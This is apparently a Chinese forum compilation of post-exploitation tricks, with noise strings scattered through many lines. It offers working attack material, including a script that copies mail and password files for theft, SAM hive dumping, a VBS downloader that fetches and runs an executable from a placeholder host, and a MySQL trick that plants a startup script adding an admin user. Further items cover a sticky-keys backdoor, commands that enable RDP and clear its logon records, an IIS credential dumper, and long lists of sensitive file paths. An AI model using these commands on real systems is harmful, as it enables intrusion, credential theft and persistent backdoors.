——————————————
2、收集系统信息的脚本  
for window：
1 Y) Z- s) T$ C, s
" j# B+ b! u. T@echo off
echo #########system info collection
systeminfo
. c  ^+ \; G  Uver
3 D* e1 J2 v" w1 s4 q+ k% Nhostname
net user
net localgroup
net localgroup administrators
8 H8 Y5 B9 V: m# ?3 o" |net user guest
net user administrator

: J1 P3 i& H- qecho #######at- with   atq#####
0 A4 ^/ z  ^1 D8 M/ |echo schtask /query

echo
$ Y; b2 W1 M: w) X1 `" o! oecho ####task-list#############
- i* p5 a2 W8 u- t9 r3 ftasklist /svc
echo
echo ####net-work infomation
ipconfig/all
3 W0 p! o: O3 k; ?9 l* X. X, Froute print
# R8 F4 N' m( v$ b0 I  [" S. t8 o) harp -a
* |8 b+ \" n; t6 _0 X) l+ {& I9 bnetstat -anipconfig /displaydns
echo
/ B9 Z3 f4 `9 \/ @; D/ Xecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
3 _6 N+ _9 o4 H9 |5 Rtree -F
" [; Z" k+ b6 F# W) u* g4 u& J. Afor linux：

#!/bin/bash

' ?0 P9 e0 T- R$ M0 @echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
1 ~4 j6 h$ M+ r. x& o  vrpm -qa 2>/dev/null
$ T6 {4 a9 V2 o# \  S' J######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
0 t7 ?( M9 [$ B7 j
8 z7 g2 L5 x1 C' i" H+ g3 p. E
echo 'u'r id is' `id`
echo ###atq&crontab#####
; W% ~/ M1 H6 b2 Jatq
crontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
% t. G: C; P& _8 ?, N/ e3 D$ ccat /etc/hosts
hostname
% a7 D( {4 s, J: `6 Jipconfig -a
& _# c4 p, S8 p$ Y' Carp -v
. Y+ k2 T$ _, D0 p8 Yecho ########user####
cat /etc/passwd|grep -i sh
- c4 Y6 x; F' e$ w: B% S( ^
echo ######service####
$ c7 x  j% Z; F9 r" h& tchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
' w( m1 D3 J  o3 mcat /etc/passwd|grep -i $i
done
7 E6 H: ~( l7 Z
+ [$ c. q0 E4 k( w, h* K/ ^- nlocate passwd >/tmp/password 2>/dev/null
; J+ d- j4 l  asleep 5
locate password >>/tmp/password 2>/dev/null
6 t, p' i8 Q) K( X, O/ fsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
6 j+ r- b$ W+ K+ b4 s% ~6 j+ klocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

6 U7 m; j" q7 f& c' h" z###maybe can use "tree /"###
echo ##packing up#########
; D# S3 [6 H: O8 otar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
3 b6 ?6 a; z* g" P$ A/ @) L" urm -rf /tmp/getmail /tmp/password /tmp/sysconfig
2 y* h3 x0 ^* i3 a& z——————————————
+ c- |$ v  w. h8 V8 `8 {3、ethash 不免杀怎么获取本机hash。
& W  O% L, e# D/ l+ }1 K: \首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
. `, P0 s; |8 b- d( z, J- E0 X: E注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
: V; _6 Q/ K" P, k2 |6 i& p. m接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
$ U  d+ v, k: r; u# i; q2 ]——————————————
4、vbs 下载者
1
/ D( F5 }/ q% o* y: m$ _echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
4 P$ f5 \4 [' p. k" J8 Hecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
0 P. A1 N5 e! g% Y, Mecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

4 ]6 t8 x1 H/ p. \# S2
% W1 p. w. @2 R. DOn Error Resume Nextim iRemote,iLocal,s1,s2
0 L( k5 R, j0 i" O7 L' O. v" \) PiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) k# V7 [# I# D0 dSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

2 ]/ k, X  ?/ H, y1 [cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
' C; b. ]8 d3 \1 ^8 {% O- A- }
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- o; h& u2 y% ^5 C  s0 S——————————————————
- s8 `9 N) [; D$ X& E5、
0 N5 w/ y6 u' R0 N7 C3 H* x1.查询终端端口
" B+ k' J, Z; f+ l$ u3 v6 A/ NREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
( b  W2 D& M5 ?  [3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
* U# j/ F% `, [0 F% @5 [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
& y' T6 _7 E8 \5 w! ]REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
! Y3 u! v0 y6 m————————————————
6、create table a (cmd text);
: J1 `5 ?3 R0 J& v8 d9 R, U$ U( linsert into a values ("set wshshell=createobject (""wscript.shell"")");
3 [; B5 n% k8 J: M9 T! Einsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
+ f' m$ z3 v5 ~* i7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

  _! `2 H% j9 W; g6 a3 P列出d的所有目录
  
3 y$ O. ?+ E9 I4 ~( o  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
$ S; c) Y$ j' F2 K) l. n7 a以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
. `+ N. a) w2 @
% x& P; w5 ^# J* w* |6 _8 afor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

! v, R+ l0 [  n' X" n8 F9 T. n% m3.for /f %i in (c:\1.txt) do echo %i
4 n6 l7 s( N; H2 T- q: w2 i  
$ p* G- c0 P' f* V5 q) j  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
1 {" [0 V# X0 m7 T" f
4 A8 ?0 m. Z/ g0 M% o4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
" |5 g- q: v" R0 A) y
  delims=后的空格是分隔符 tokens是取第几个位置
2 a' S* @! ^3 U# b* x! t8 H——————————
●注册表:
6 l2 I' f* n9 J4 x6 [0 @4 N% n' g1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

: b: I$ U* d9 I  s/ j* y8 Q! o2.修改3389的默认端口:
7 O5 O4 s/ j8 Q, z" X% M# B$ _HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
4 _+ @0 d3 L, r  Qreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
  t4 w( r5 B6 u  p( A
* M% D% X: }; K/ h: C4.Radmin密码:
3 w9 K& w, _$ N5 l% L$ areg export HKLM\SYSTEM\RAdmin c:\a.reg
5 p) x3 ]) n( s, E+ ^, z
5.禁用TCP/IP端口筛选(需重启):
1 Q" h9 `3 c5 PREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
: H! g, d+ u$ B* O" t: T# W) h1 p
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
0 r/ P$ m, A4 y1 Mnetsh ipsec dynamic set config ipsecexempt value=0
* k7 e2 r$ d: j
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

/ T" O( a3 A% G4 |1 Q% M$ H8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

- r! D# E1 P3 J! K7 s9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
9 r" b: U1 ^" ~/ Dreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

9 S: U7 D" `& H  c4 f! m; R10.shift映像劫持
# n+ o2 B! b4 v+ K9 _& f, ereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
; L' B* u4 r  Y' f5 g
' L* [" \/ T. xreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
0 }& h# P3 l' ~* S# n" v-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
& h  V2 ]; r/ V. ^2 _& _exit for
msgbox("error!")
wscript.quit
end if
( E. v- D" G& \3 t! Iserverbindings=IIS.serverBindings
9 O7 {% x6 D7 S1 X; ?, d* Z- k* e) aServerComment=iis.servercomment
9 T6 [& q! ]3 eset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
2 c& M1 C7 R5 Z/ aend if
Next
wscript.echo list
" N! S4 G7 H5 l5 xSet ObjService=Nothing
' Z& i+ I$ r$ Y& k( L6 M! owscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
9 E; b) X/ O$ ]+ b0 {* B' z6 K; M* q复制代码
, p7 v# t% ]& |( S7 H% q% E1 U----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1 A4 y; i: |8 z1 r1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
, s$ Q9 C. }5 ?$ s将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
+ y$ T6 n5 W1 _8 M5 {) O2 f复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
4 Y) s# H+ A( F# N- Nasp代码，利用的时候会出现登录问题
7 u: R# @5 Q4 S. p2 m 原因是ASP大马里有这样的代码：（没有就没事儿了）
! }% F3 }! A# a5 z( `' o) M url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
" \, M% c- [5 u# _6 h. z, o% ` 解决方法
* ^' F) J# E- U url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
. P  e3 ^; l4 N* D1 x: M" GLINUX常见路径：

/etc/passwd
/etc/shadow
' z, W- k% s, d% I. p, a1 r/etc/fstab
8 F  J8 f2 c/ t# G) c. k+ ?& {/etc/host.conf
/etc/motd
; j4 S6 J" o( K+ j! M/etc/ld.so.conf
/ o+ }0 f& f) _- T4 F; K. f/var/www/htdocs/index.php
( y( j$ q# T2 O7 @- J, i/var/www/conf/httpd.conf
5 ^+ E5 u- F7 ^' C/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
7 b3 J1 E5 W3 Z. S/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
; S, n& A: d/ B& A1 u& e; ?" R  r/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
% L7 P# f0 Z) [* h5 ?) C' T5 h/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
, m* Q- i, T5 K& D: T3 Q/ m& `/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
' [. o; _7 X' w. Y$ ~: [% a2 K/etc/httpd/htdocs/index.php
8 E3 q5 x* l( b% a  |7 Z. B/etc/httpd/conf/httpd.conf
; S8 W& r5 f& Z2 a( c% G/etc/httpd/htdocs/index.html
/www/php/php.ini
% j) J) _3 u' t4 [2 T/www/php4/php.ini
- V7 ?8 l, k' D7 Z/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
3 S( Q; c& x7 C5 q7 |/ u& ^; i+ ^/www/htdocs/index.html
8 n3 O; i6 Z8 ~$ W7 F/ p0 \# S$ a/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
+ [! [6 I) U! P6 U, Y0 R/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
6 s1 J8 k% ^, w/etc/apache2/httpd.conf
9 [7 E2 |7 I- O0 N" l/etc/apache2/vhosts.d/00_default_vhost.conf
4 `% A7 Y: b! @+ O/ X: r: U2 g/etc/apache2/sites-available/default
" ^' Q9 m5 j; R( ?$ R4 c. X7 G/etc/phpmyadmin/config.inc.php
  K: \/ ?0 a# k/etc/mysql/my.cnf
, \0 J* A/ l' \& l( h/etc/httpd/conf.d/php.conf
  D8 p4 b- `2 g6 j7 E0 x5 _/etc/httpd/conf.d/httpd.conf
5 ?* i) n9 v# K/etc/httpd/logs/error_log
% e- j( x& n) E3 b/etc/httpd/logs/error.log
( y: |+ z8 h9 n, O2 F; F0 S/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
, t! e2 h, N5 v* |& F  I. v/home/apache/conf/httpd.conf
6 J: U( {# W- m& _( R# |/home/apache2/conf/httpd.conf
$ \5 x% X5 f! P- C/var/log/apache/error_log
# P2 {. J" O2 y" U0 ~/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
9 Z1 D' c4 q% C; h2 K4 v4 l/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
5 U5 d' \% p5 V7 }$ P: h- F/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
5 [+ e" I4 ]/ P/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
3 }- N* M1 A0 P& h7 O; g# W- W/usr/local/apache/logs/access_log
9 e9 G* N. `4 `9 \/usr/local/apache/logs/access.log
/var/log/error_log
& P. n+ F, `  O, [6 }) A% a/var/log/error.log
( C" o6 l, W' g, J+ j9 X/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
+ W. u4 e4 T: U( K, i/etc/php.ini
/bin/php.ini
$ u# |5 `0 @. y/ p! F" h/etc/init.d/httpd
% C- D% F( ^, p/etc/init.d/mysql
! \# J3 b: \: T8 e- v/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
- U' {, _! b$ J' h0 _0 c5 |/usr/local/etc/php.ini
/usr/local/lib/php.ini
+ K1 y/ V( Q+ E" S1 N, D2 m/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
. |# j) c; Y4 W/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
+ f2 c* x; J- _1 U/ ~/usr/local/php5/lib/php.ini
5 `4 U& ]/ _2 E1 ^+ _  w6 p/usr/local/php5/etc/php.ini
& A, n/ m, ^5 {3 \, I% |9 s' G/usr/local/php5/php5.ini
7 [: a( X8 p5 i: W0 a; X0 y/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
0 I, }. s% k% s2 F; p3 s* D5 Y/usr/local/apache2/conf/php.ini
: r5 I% J/ [/ l. ^  F# d/etc/php4.4/fcgi/php.ini
, H7 K% h: @. y8 i4 s: L/etc/php4/apache/php.ini
( b* }/ S! r  x& N0 @2 v9 j+ J% t/etc/php4/apache2/php.ini
) o3 o3 F5 R' i8 o6 g/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
) ~; \* G% d2 ^( N3 F7 T  l/etc/php/php.ini
' y, F$ t. W3 k/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
# T$ X6 h: N7 [9 A+ a/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
: k/ `9 j7 f3 ~/ i/ H8 I' O2 u/etc/php/cgi/php.ini
4 |. \4 A( E% r/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
2 n: R. j; k3 L' E( ]" a/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
! V; P* z3 P6 P7 i# C. I/ y% x; s/NetServer/bin/stable/apache/php.ini
' ^1 B; t& i. I) t9 N. d# W1 C/home2/bin/stable/apache/php.ini
: s6 B. e5 H# V# F+ k" h+ ~/home/bin/stable/apache/php.ini
, x1 T7 S: m0 B/var/log/mysql/mysql-bin.log
4 o9 }/ @- z" N1 o* r/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
" U2 K& r% m, E7 E0 s: S) z/var/lib/mysql/my.cnf
1 r' c( _# u! C$ t9 ^- J/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
* Y. b! d( X3 a  R: T2 e4 t' _; f/etc/mysql/my.cnf
7 E. ~; r. u' E- ~9 E7 P* v- P/etc/my.cnf
/usr/local/cpanel/logs
$ ~" R3 t6 Q# [7 E0 `) v/usr/local/cpanel/logs/stats_log
, I3 Y+ ~9 ~, Z5 X% V/usr/local/cpanel/logs/access_log
3 G( a/ b% [( @7 o/usr/local/cpanel/logs/error_log
, X% w2 n+ S* i  |- M( L/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
  d4 N  p3 p& h2 e" ?; Z6 h/usr/local/share/examples/php4/php.ini
$ d: l, ]( r: E' H! b/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
" p% X9 @, _+ U, }. R: u  t- G8 _
c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

( x1 u0 Y2 b1 [7 x% w) R8 Ic:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
9 t3 k+ x5 R$ B/ O* O6 p  VC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
6 I9 Z1 F7 Y4 W, UC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
( X" i# E$ x7 S/ H' U
0 I- `& Q) g# n$ L2 t) I& L. Nc:\hzhost\databases\url.asp
0 l) c! G$ O+ X+ |8 V; w5 ]! N% K
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

' `  W: w) [/ FC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
' [7 f( l: N" J( Rc:\web\index.html
c:\www\index.html
6 x- J& D( C8 o0 ?7 z- X6 G( ^c:\WWWROOT\index.html
c:\website\index.html
& u" @' s9 B; h) Sc:\web\index.asp
& H3 C$ g4 m0 w/ ]" w. }+ }c:\www\index.asp
c:\wwwsite\index.asp
" v3 l9 b* L# f0 T# S3 F' a5 S0 nc:\WWWROOT\index.asp
3 _5 l! h, [) Y% gc:\web\index.php
: ^; W; X* b) N. J* zc:\www\index.php
) V- C  D6 U6 K6 r6 s- n5 sc:\WWWROOT\index.php
c:\WWWsite\index.php
/ _& X9 b5 |6 J. I5 N3 Fc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
) i- P- o: Q: `9 s$ w+ ]6 \! ~) E; wc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
; z" ^0 Q$ F8 J& A) q! V/ Ic:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
- F! Y; d4 \3 O  c5 N: ^c:\WWWROOT\default.php
& F! i6 n" W* J5 Lc:\WWWsite\default.php
% }. s9 A/ Q2 T" ZC:\Inetpub\wwwroot\pagerror.gif
& @' d8 X# n3 b( S, Wc:\windows\notepad.exe
) e6 F9 s/ H. zc:\winnt\notepad.exe
9 C( x+ a8 L2 D" @! S$ C) kC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
/ F' b9 |, x$ D# q" g7 rC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
( @/ v6 y) H7 w* |: qC:\Program Files\360Safe\360safe.exe
7 {* |9 A$ `* N$ B8 {. _C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
& T4 {! \& P2 p/ c0 _; b- p5 Oc:\ravbin\store.ini
c:\rising.ini
& n* p( |+ X2 E0 G  o7 K, yC:\Program Files\Rising\Rav\RsTask.xml
" t( \8 N0 ?1 Z6 p+ @C:\Documents and Settings\All Users\Start Menu\desktop.ini
8 B5 S. }) H8 D, f: @! w* uC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
8 \/ P; W  a! ZC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
' g$ ^% b" A$ Q5 l2 {9 ?/ V. q6 ~, c# UC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
% G6 k1 ~$ ]  OE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
: E# t& i1 m6 Y" E6 H7 ?7 d5 GC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
; O% j; U: B6 v9 ^. T; U* y/ z( |; vC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
9 s) E6 ~3 D1 |- v4 I8 ]0 w, gC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
9 }* U% F& J5 G4 XC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
* N1 H7 k' x% |, @: V. Y. z% w' p3 fC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
' r( s% D# Y( X& K0 jC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
, e' H; h! f+ u, f6 [+ f# V$ GC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
( F# F6 _1 ~8 H/ c+ T# Y5 i; D" hC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( s! J! I- \: {9 L) |$ X, lc:\MySQL\MySQL Server 4.1\bin\mysql.exe
" J: `( g+ P0 {, y+ M# P' xc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
& w3 n! j& ]* A# \9 vC:\Program Files\Oracle\oraconfig\Lpk.dll
2 a& P2 S9 h, y* r. }3 fC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
% }2 u. @5 s* Z% |0 d5 RC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
2 h6 @. B& \6 p, P# N  aC:\WINDOWS\system32\inetsrv\MetaBase.xml
* J9 K, k) k1 r9 W& vC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
1 }. [& m3 u" L5 iC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
2 `- {( C9 n6 I) f& Gc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
6 S6 s  F6 [5 x' D" u0 _c:\tomcat6\tomcat6\bin\version.sh
2 r6 c+ a& E4 f: L* dc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
" ?0 I) K( e/ N- R" e5 hc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
3 l7 K' Y& f* b6 v( F7 Ec:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
$ L4 p* M9 Y6 ]7 m: NC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
  h- w4 ^" g2 u/ q: G1 W- P/usr/share/tomcat6/bin/startup.sh
. u7 Y( S( N6 y! G$ N8 j4 }! {1 o: G/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
  V# Y: t( V, l8 s0 U1 [- U( k) Y# Sc:\Program Files\Tencent\qq\User.db
' O& M( S2 w# d, }8 Z/ Fc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
8 a! A- b! x$ H8 Fc:\Program Files\Tencent\qq2009\qq.exe
. S& b& u  _" `, l. Ac:\Program Files\Tencent\qq2008\qq.exe
" o( Q# o! k$ y( M, vc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
+ Z) i) o  ?7 oc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
% x$ y3 Z' t8 L) mc:\Program Files\Tencent\RTXServer\AppConfig.xml
' c' J5 ~6 }, v8 Q# ^: b; [5 g+ ?C:\Program Files\Foxmal\Foxmail.exe
5 j$ H# c( B4 TC:\Program Files\Foxmal\accounts.cfg
! k+ ?: H3 t. i' \C:\Program Files\tencent\Foxmal\Foxmail.exe
+ t9 s( ?5 m7 Q. N4 E" iC:\Program Files\tencent\Foxmal\accounts.cfg
% R: y7 q9 v' _) Z6 F9 lC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
& N, u7 `( m: h& A( wc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
. d/ K( i+ J  d' w0 j6 rc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
